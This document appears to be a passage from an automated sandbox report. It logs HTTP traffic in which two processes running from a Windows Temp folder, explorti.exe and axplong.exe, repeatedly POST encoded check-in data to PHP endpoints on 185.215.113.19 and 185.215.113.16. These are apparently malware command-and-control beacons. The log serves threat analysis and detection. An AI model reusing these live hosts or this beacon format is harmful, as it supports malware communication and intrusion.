Jul 27, 2024 12:02:39.290954113 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:39.782092094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 12:02:39.782444954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49808	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:39.893353939 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:40.636264086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:40.640511036 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:40.909125090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49809	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:39.895565033 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:40.643412113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:40.644005060 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:40.915807009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49810	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:41.025471926 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:41.973002911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:41.975599051 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:42.225622892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49811	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:41.033833981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:41.973015070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:41.973891020 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:42.225387096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49812	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:42.680958986 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:43.428590059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:43.430088043 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:43.676500082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49813	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:42.680978060 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:43.421152115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:43.422142029 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:43.667895079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49814	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:43.786456108 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:44.525582075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:44.526606083 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:44.775326967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49815	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:43.803683996 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:44.545109034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:44.545855999 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:44.796508074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49816	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:44.896048069 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:45.666816950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:45.667767048 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:45.928359985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49817	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:44.909802914 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:45.732923985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:45.733761072 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:45.982985020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49818	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:46.802711964 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:47.580498934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:47.581115007 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:47.831192970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49819	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:46.802783966 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:47.570723057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:47.571506977 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
